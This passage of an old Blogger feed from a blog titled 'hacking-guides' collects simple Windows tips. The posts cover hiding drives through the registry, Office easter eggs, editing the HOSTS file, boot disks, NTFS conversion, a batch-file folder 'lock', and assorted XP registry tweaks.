style="color:#ff0000;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\&lt;br /&gt;CurrentVersion\Policies\Explorer&lt;/span&gt; - this only changes the settings for the current logged in user&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;HKEY_LOCALMACHINE\Software\Microsoft\Windows\&lt;br /&gt;CurrentVersion\Policies\Explorer&lt;/span&gt; - this changes the settings for all users on the machine. You may have to create the key folder "Explorer" manually.&lt;br /&gt;&lt;br /&gt;3. In the Explorer key folder, create a new &lt;strong&gt;DWORD &lt;/strong&gt;value by right-clicking Explorer, then choosing &lt;strong&gt;New DWORD value&lt;/strong&gt;. Name the value"NoDrives" &lt;strong&gt;(without the quotes).&lt;/strong&gt; This value defines local and network drive visibility for each logical drive on the computer . All drives will be visible as long as this value's data is set to 0.&lt;br /&gt;&lt;br /&gt;4. Following the table below, enter the decimal number corresponding to the drive(s) you want to hide as NoDrives value data. When you right-click on NoDrives and choose Modify, &lt;span style="color:#006600;"&gt;&lt;strong&gt;make sure you select Decimal base, not Hexadecimal&lt;/strong&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Drive Number to hide&lt;br /&gt;&lt;strong&gt;A: 1&lt;br /&gt;B: 2&lt;br /&gt;C: 4&lt;br /&gt;D: 8&lt;br /&gt;E: 16&lt;br /&gt;F: 32&lt;br /&gt;G: 64&lt;br /&gt;H: 128&lt;br /&gt;I: 256&lt;br /&gt;J: 512&lt;br /&gt;K: 1024&lt;br /&gt;L: 2048&lt;br /&gt;M: 4096&lt;br /&gt;N: 8192&lt;br /&gt;O: 16384&lt;br /&gt;P: 32768&lt;br /&gt;Q: 65536&lt;br /&gt;R: 131072&lt;br /&gt;S: 262144&lt;br /&gt;T: 524288&lt;br /&gt;U: 1048576&lt;br /&gt;V: 2097152&lt;br /&gt;W: 4194304&lt;br /&gt;X: 8388608&lt;br /&gt;Y: 16777216&lt;br /&gt;Z: 33554432&lt;br /&gt;All drives 67108863&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;If you want to hide more than one drive, you simply add the drive amounts together for a combined total.&lt;br /&gt;&lt;br /&gt;For example, to hide the D:/ and T:/ drives, add the decimal value for the D:/ drive to the decimal value to the T:/ drive.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#330099;"&gt;8 (D) + 524288 (T) = 524296&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;To disable all of your visible drives, set the value to 67108863.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;You must&lt;em&gt; reboot your PC to see your changes.&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8499261159338895130?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8499261159338895130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8499261159338895130' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8499261159338895130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8499261159338895130'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/hide-hard-drives-in-windows-vista.html' title='Hide hard drives in Windows vista'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-1225180964150102796</id><published>2007-12-30T00:48:00.000-08:00</published><updated>2007-12-30T00:56:41.361-08:00</updated><title type='text'>Hidden secrets(part 1)</title><content type='html'>&lt;strong&gt;Doggy Sound In Acrobat Reader &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;You need:&lt;/span&gt; Acrobat Reader 4.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Do the following :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1.&lt;/strong&gt; Open up &lt;span style="color:#ff0000;"&gt;Acrobat Reader.&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;2.&lt;/strong&gt; Choose &lt;strong&gt;&lt;span style="color:#333399;"&gt;Help, About Plug-ins, Acrobat Forms.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;3.&lt;/strong&gt; Hold down &lt;span style="color:#006600;"&gt;&lt;strong&gt;Control-Alt-Shift&lt;/strong&gt;&lt;/span&gt; and click the &lt;strong&gt;Credits button.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;4.&lt;/strong&gt; You should hear a &lt;strong&gt;dog bark,&lt;/strong&gt; the button face will change to say&lt;strong&gt; "woof,"&lt;/strong&gt; and the Adobe logo will turn into a &lt;strong&gt;dog paw.&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;Espionage in Excel&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;You need:&lt;/span&gt; Excel 2000 and DirectX&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Do the following :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Open a new worksheet in &lt;strong&gt;&lt;span style="color:#009900;"&gt;Excel 2000.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Select File, &lt;strong&gt;&lt;span style="color:#3333ff;"&gt;Save as Web Page.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Select &lt;strong&gt;Publish&lt;/strong&gt; and &lt;strong&gt;check the box marked Add interactivity with.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Save the file as &lt;strong&gt;&lt;span style="color:#003300;"&gt;spy.html.&lt;/span&gt;&lt;/strong&gt; Be sure to note the folder you saved the file in.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Load Internet Explorer, and &lt;strong&gt;&lt;span style="color:#000099;"&gt;choose File, Open and locate spy.html&lt;/span&gt;&lt;/strong&gt;. The spreadsheet should appear in the middle of the page.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. &lt;strong&gt;&lt;span style="color:#cc33cc;"&gt;Scroll to row 2000, column WC&lt;/span&gt;&lt;/strong&gt;. Select row 2000, and move the tab key until WC is the active column in that row.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. Hold down &lt;strong&gt;&lt;span style="color:#66cccc;"&gt;Shift-Crtl-Alt&lt;/span&gt;&lt;/strong&gt; and click the Office logo in the upper-left corner of the dialog box.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Get ready to play a &lt;strong&gt;spy hunter-type game.&lt;/strong&gt; Use your keyboard to move around and make things happen: The arrow keys let you drive; the space bar will let you fire; "O" lets you drop oil slicks; and "H" will turn on your headlights when it gets dark.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-1225180964150102796?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/1225180964150102796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=1225180964150102796' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1225180964150102796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1225180964150102796'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/hidden-secretspart-1.html' title='Hidden secrets(part 1)'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7124395482299384347</id><published>2007-12-27T01:56:00.000-08:00</published><updated>2007-12-28T01:39:10.545-08:00</updated><title type='text'>How to block and unblock websites</title><content type='html'>Many times in schools, colleges &amp;amp; offices surfing some sites like orkut,etc are &lt;strong&gt;banned !&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;To overcome this you can unblock these or block some other websites and play pranks !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Do The Following :&lt;br /&gt;For eg you want to &lt;strong&gt;block &lt;/strong&gt;www.xyz.com !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Open the folder&lt;span style="color:#ff0000;"&gt; C:\WINDOWS\system32\drivers\etc&lt;/span&gt;&lt;br /&gt;* There you will find a file named &lt;strong&gt;HOSTS&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;* Click on the file and &lt;strong&gt;press SHIFT and now right click on it .&lt;br /&gt;&lt;/strong&gt;* From the right click menu select &lt;strong&gt;Open with&lt;/strong&gt; .&lt;br /&gt;&lt;br /&gt;* Now, select Notepad to open the file from the list !&lt;br /&gt;* Now, in the file under the line &lt;span style="color:#33cc00;"&gt;127.0.0.1 localhost&lt;/span&gt; add another line as &lt;span style="color:#000099;"&gt;127.0.0.2 www.xyz.com.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* Now, File&gt;&gt;Save !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, open your web browser and try openning www.xyz.com , it will not load !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To unblock sites &lt;strong&gt;just do the opposite !&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7124395482299384347?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7124395482299384347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7124395482299384347' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7124395482299384347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7124395482299384347'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/many-times-in-schools-colleges-offices.html' title='How to block and unblock websites'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7258375765399337082</id><published>2007-12-27T01:51:00.000-08:00</published><updated>2007-12-27T01:57:19.740-08:00</updated><title type='text'>How to create a boot disk</title><content type='html'>How to create a &lt;strong&gt;&lt;span style="color:#ff0000;"&gt;boot disk&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;This is quite simple.&lt;strong&gt;&lt;br /&gt;1:&lt;/strong&gt; Go into &lt;strong&gt;MY COMPUTER&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;2:&lt;/strong&gt; Have a floppy disk in your drive and then &lt;strong&gt;RIGHT &lt;/strong&gt;click on on the floppy drive and then click on &lt;strong&gt;FORMAT&lt;br /&gt;3:&lt;/strong&gt; You will be greeted with a number of options. The one you need to select is &lt;strong&gt;"Create an MS-DOS start up disk".&lt;br /&gt;4:&lt;/strong&gt; Click ok&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff6600;"&gt;Note&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt; This requires up to 5 floppy disks and DOES NOT contain ANY CD-ROM drivers to boot from. A proper CD-ROM boot up disk is going to be release by Microsoft after the Windows XP public release. You can however use you old Windows Me start-up disk if you would prefer, as long as you have not upgraded to an NTFS drive.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7258375765399337082?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7258375765399337082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7258375765399337082' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7258375765399337082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7258375765399337082'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/how-to-create-boot-disk-this-is-quite.html' title='How to create a boot disk'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3263290047764236556</id><published>2007-12-27T01:42:00.000-08:00</published><updated>2007-12-27T01:45:42.745-08:00</updated><title type='text'>Convert a FAT partition to NTFS</title><content type='html'>To convert a FAT partition to NTFS, perform the following steps.&lt;br /&gt;&lt;br /&gt;Click Start, click Programs, and then click &lt;strong&gt;Command Prompt.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;In Windows XP, click Start, and then click Run.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the command prompt, type &lt;strong&gt;&lt;span style="color:#33cc00;"&gt;CONVERT [driveletter]: /FS:NTFS.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Convert.exe will attempt to convert the partition to NTFS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Convert.exe will attempt to convert the partition to &lt;strong&gt;NTFS.&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3263290047764236556?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3263290047764236556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3263290047764236556' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3263290047764236556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3263290047764236556'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/to-convert-fat-partition-to-ntfs.html' title='Convert a FAT partition to NTFS'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3655029207076773846</id><published>2007-12-27T01:39:00.000-08:00</published><updated>2007-12-27T01:42:05.023-08:00</updated><title type='text'>Lock your folders witout use of software</title><content type='html'>Now lock your folders without the use of any additional software&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Procedure :&lt;br /&gt;1. Make a folder on the desktop and name it as "folder"&lt;br /&gt;2. Now, open notepad and write&lt;span style="color:#33cc00;"&gt; ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} &lt;/span&gt;and now (Notepad Menu) File&gt;save as.&lt;br /&gt;3. In the 'save as' name it as &lt;strong&gt;lock.bat&lt;/strong&gt; and click save !&lt;strong&gt; (Save it on Desktop)&lt;br /&gt;&lt;/strong&gt;4. Now, again open notepad again and write &lt;span style="color:#ff0000;"&gt;ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D}&lt;/span&gt; folder and now (Notepad Menu) File&gt;save as.&lt;br /&gt;5. In the 'save as' name it as &lt;strong&gt;key.bat&lt;/strong&gt; and click save ! &lt;strong&gt;(Save it on Desktop)&lt;br /&gt;&lt;/strong&gt;6. Now, double click &lt;strong&gt;lock.bat&lt;/strong&gt; to lock the folder and now if you open your folder, control panel will open up !&lt;br /&gt;7. Now, double click &lt;strong&gt;key.bat&lt;/strong&gt; to open the folder and now if you open your folder, you can access your data inside the folder again !&lt;br /&gt;8. Lock your folder and hide the key.bat somewhere else on your hard disk !&lt;br /&gt;9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !&lt;br /&gt;&lt;br /&gt;Simple !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3655029207076773846?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3655029207076773846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3655029207076773846' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3655029207076773846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3655029207076773846'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/lock-your-folders-witout-use-of.html' title='Lock your folders witout use of software'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7404202505076237261</id><published>2007-12-27T01:37:00.000-08:00</published><updated>2007-12-29T06:27:58.909-08:00</updated><title type='text'>Ever wanted to maintain a diary on your PC</title><content type='html'>Ever wanted to maintain a diary on your PC ?&lt;br /&gt;Now, you can do it &lt;span style="color:#ff0000;"&gt;without the use of a software !&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;USE NOTEPAD !&lt;br /&gt;&lt;br /&gt;Do The Following :&lt;br /&gt;&lt;strong&gt;1.&lt;/strong&gt; Open Notepad&lt;br /&gt;&lt;strong&gt;2.&lt;/strong&gt; Type : &lt;strong&gt;.LOG&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;3.&lt;/strong&gt; Save it with any name say 'Diary'&lt;br /&gt;&lt;strong&gt;4.&lt;/strong&gt; Open Diary.txt again&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Wow&lt;/strong&gt; you see today's date and time, so start writing your Diary !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7404202505076237261?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7404202505076237261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7404202505076237261' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7404202505076237261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7404202505076237261'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/ever-wanted-to-maintain-diary-on-your.html' title='Ever wanted to maintain a diary on your PC'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-5297753618618443357</id><published>2007-12-27T01:34:00.000-08:00</published><updated>2007-12-27T01:44:46.200-08:00</updated><title type='text'>Make your own icon in Windows XP</title><content type='html'>&lt;span style="color:#000099;"&gt;Now even personalize your ICONS with Windows XP !&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;To make your own &lt;strong&gt;ICON &lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1&lt;/strong&gt;. Start&gt;&gt;All Programs&gt;&gt;Accessories&lt;br /&gt;&lt;strong&gt;2.&lt;/strong&gt; Click Paint&lt;br /&gt;&lt;strong&gt;3.&lt;/strong&gt; In toolbar select Image&lt;br /&gt;&lt;strong&gt;4.&lt;/strong&gt; Click Attributes&lt;br /&gt;&lt;br /&gt;--------------------- Note : The size of a icon is 32 x 32 pixels ! ---------------------&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5.&lt;/strong&gt; Type 32 in both Height and Width and sure that Pixels is selected under Units&lt;br /&gt;&lt;strong&gt;6.&lt;/strong&gt; Click OK&lt;br /&gt;&lt;strong&gt;7&lt;/strong&gt;. Now add your photo or design .&lt;br /&gt;&lt;strong&gt;8.&lt;/strong&gt; File&gt;&gt;Save As&lt;br /&gt;&lt;strong&gt;9.&lt;/strong&gt; Type name.ico&lt;br /&gt;&lt;strong&gt;10&lt;/strong&gt;. Click Save&lt;br /&gt;&lt;br /&gt;Enjoy your New ICON !!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-5297753618618443357?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/5297753618618443357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=5297753618618443357' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5297753618618443357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5297753618618443357'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/make-your-own-icon-in-windows-xp.html' title='Make your own icon in Windows XP'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4008615852970466902</id><published>2007-12-14T07:14:00.001-08:00</published><updated>2007-12-14T07:14:37.746-08:00</updated><title type='text'>Xp registry hacks</title><content type='html'>Editing the Windows Registry, while much more common now than in years past, is still not to be entered into lightly. You can break Windows, cause boot failure, yada, yada. I know you're gonna do it anyway; why else would you be reading this. Just be careful, OK?&lt;br /&gt;&lt;br /&gt;These are few because, for the most part WinXP can be customized through the interlace or with third-party freeware (as above).&lt;br /&gt;&lt;br /&gt;All of the tips below require running regedit. To do so, hit 'Start/Run' then type 'regedit' and follow the instructions.&lt;br /&gt;&lt;br /&gt;Naturally, I take no responsibility for any damage or loss of data  incurred in the remote possibility that something goes terribly wrong.&lt;br /&gt;&lt;br /&gt;Outlook Explorer Splash&lt;br /&gt;If it's important enough to you to edit the registry in order to get rid of the OE splash page, here's how. With regedit open, go to HKEY_CURRENT_USER\Identities\{long number here will vary}\Software\Microsoft\Outlook Express\5.0. left-click on 5.0 then right-click on a blank space in the pane on the right side. Choose 'New' DWORD and name it NSplash with a value of 1.&lt;br /&gt;&lt;br /&gt;Unload DLLs&lt;br /&gt;To prevent Windows from caching DLLs after the program using them has closed, follow this procedure: Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ then left-click on Explorer. Right-click (as above) and create the DWORD AlwaysUnloadDLL with a value of 1. This requires a reboot to take effect. This will allow memory to be used more efficiently.&lt;br /&gt;&lt;br /&gt;Hack IE Title Bar&lt;br /&gt;This can be an impressive bit of personalization. Use your name or moniker to brand Internet Explorer. Go to &lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ and left-click on Main to change the string "Window Title" to whatever you wish.&lt;br /&gt;&lt;br /&gt;Encode MP3s with WiMP&lt;br /&gt;Install an MP3 codec (compression/decompression, required for this operation). You can download it here. Once installed, navigate to the following string in regedit: &lt;br /&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\MediaPlayer\Settings\ then to MP3Encoding and set the following:&lt;br /&gt;"LowRate"=dword:0000dac0 &lt;br /&gt;"MediumRate"=dword:0001f400 &lt;br /&gt;"MediumHighRate"=dword:0003e800 &lt;br /&gt;"HighRate"=dword:0004e200&lt;br /&gt;After reboot, you'll be in the MP3 business without third-party software.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4008615852970466902?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4008615852970466902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4008615852970466902' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4008615852970466902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4008615852970466902'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/xp-registry-hacks.html' title='Xp registry hacks'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3381296840972795475</id><published>2007-12-14T07:13:00.001-08:00</published><updated>2007-12-14T07:13:59.672-08:00</updated><title type='text'>Xp tricks part 2</title><content type='html'>One-Button Adjustment&lt;br /&gt;To change the built-in functions for either speed or visual effects, right-click on the 'My Computer' icon, then 'Properties' and the 'Advanced' tab. Hit the 'Settings' button and choose either 'Adjust for best appearance' or 'Adjust for best performance' to flip the switch on all of the graphical enhancements.&lt;br /&gt;&lt;br /&gt;Folder Icons&lt;br /&gt;For all folders except Thumbnails, pictures may be added or different icons may be chose, either from those in SHELL32.dll (default) or from any icon collection on your hard drive. Just right-click on the folder, choose 'Properties' then the 'Customize' tab &amp; browse away.&lt;br /&gt;&lt;br /&gt;Clear Type Innovation&lt;br /&gt;This little goody, originally developed for laptops, will enhance your experience, both on and off the Internet. Hey. don't take my word for it, go here, say 'Yes' for the little program install the tune and tweak to you heart's content. You will enjoy the results.&lt;br /&gt;&lt;br /&gt;Change is Good and So Easy&lt;br /&gt;The quickest way to change your user name and the picture that appears next to it on the Start Menu is to double-click on that picture. From the menu that appears, you can change lotsa stuff. Pick a new picture. The pictures are 48 X 48 by default, but Windows XP will resize whatever you choose. The closer to the default size (and square), the better your results will be. Scan your face. Have fun with it. You can also prevent the irritating highlighting of newly-installed programs. Leave the option 'Set up my account to use .NET Passport' alone 'cause it's a security nightmare.&lt;br /&gt;&lt;br /&gt;Your Desktop - Your Choices&lt;br /&gt;Right-click on the Desktop. select 'Properties' then the 'Desktop' tab. &lt;br /&gt;Hit the 'Customize Desktop' button and select which icons you want to appear.&lt;br /&gt;&lt;br /&gt;In order to allow items (like custom shortcuts) to be added to the Taskbar, just right-click on it, choose 'Toolbars' then 'Quick Launch.' Delete any icons you don't want, drag shortcuts from the desktop to this new area.&lt;br /&gt;&lt;br /&gt;Folder Options&lt;br /&gt;Each folder can use its own display properties, set from the 'View' drop-down menu. Thumbnails makes sense for folders that contain images, of course. To speed the loading of this option go to the Control Panel and click 'Folder Options.' Under the 'View' tab, be certain that 'Do not cache thumbnails' is not checked.&lt;br /&gt;&lt;br /&gt;The Ultimate Appearance Tweak&lt;br /&gt;Microsoft Sez: "You can connect up to 10 monitors to your Windows XP-based computer and display numerous programs or windows at one time. You can use your mouse to move items from one monitor to &lt;br /&gt;another. You can open a different file on each monitor. Or several. Or you can stretch one item across several monitors; so for example, you can see more columns in a Microsoft Excel spreadsheet, or the entire layout of a Web page, without scrolling." Consider it. Monitors and PCI video cards are pretty cheap now. Windows recognizes the addition &amp; allows easy adjustments on the 'Display Properties/Settings' menu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3381296840972795475?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 